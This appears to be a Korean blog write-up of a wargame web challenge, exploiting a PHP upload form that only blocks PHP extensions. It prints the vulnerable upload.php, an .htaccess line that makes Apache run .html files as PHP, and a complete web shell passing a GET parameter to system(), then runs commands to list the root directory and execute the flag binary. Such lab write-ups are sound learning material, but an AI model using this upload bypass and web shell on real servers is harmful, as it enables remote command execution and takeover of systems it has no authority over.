풀이
upload 기능 소스인
upload.php를 보면
파일 업로드 시
"." 문자 뒤 확장자에 대한
검사만 이루어진다.
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
임의 파일인
test.txt를 업로드해 봄
/upload 라는 폴더에
업로드한 파일이 저장된다.
upload 디렉터리에
임의 파일명을 입력
위 오류를 통해
서버는 Apache를 사용하는 것을
확인이 가능하다.
upload 디렉터리에
.htaccess 파일이 있는지 확인하니
접근 권한이 없다는 오류 출력하는데
해당 파일이 upload 디렉터리에 있다는 뜻
여기서 익스 가능한 부분은
파일을 업로드할 때
PHP 확장자에 대한 검사만 이루어지므로
.htaccess 파일을 덮어쓸 수 있다.
아래 내용을 포함하는
.htaccess를 업로드해서 덮어쓰면
.html 확장자를 가진 파일을
PHP로 실행시킨다.
AddHandler application/x-httpd-php .html
.htaccess 파일을 덮어쓴 후
간단한 웹셸 코드를 포함하는
text.html 파일을 업로드
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
/upload/test.html 파일에 접근하면
명령어를 실행하고
결과를 확인할 수 있다.
ls -al /를 통해
root 디렉터리 목록을 확인하니
flag라는 파일 존재
cat 명령어로
파일 내용을 봐도
아무 내용도 출력되지 않는다.
Dockerfile을 보니
flag는 C파일이다.
/flag를 실행하니
FLAG 출력
'Wargame - 웹' 카테고리의 다른 글
CSRF Advanced (0) | 2023.04.17 |
---|---|
CSP Bypass Advanced (0) | 2023.04.14 |
CSP Bypass (0) | 2023.04.14 |
XSS Filtering Bypass Advanced (0) | 2023.03.29 |
[wargame.kr] strcmp & [wargame.kr] login filtering (0) | 2023.03.28 |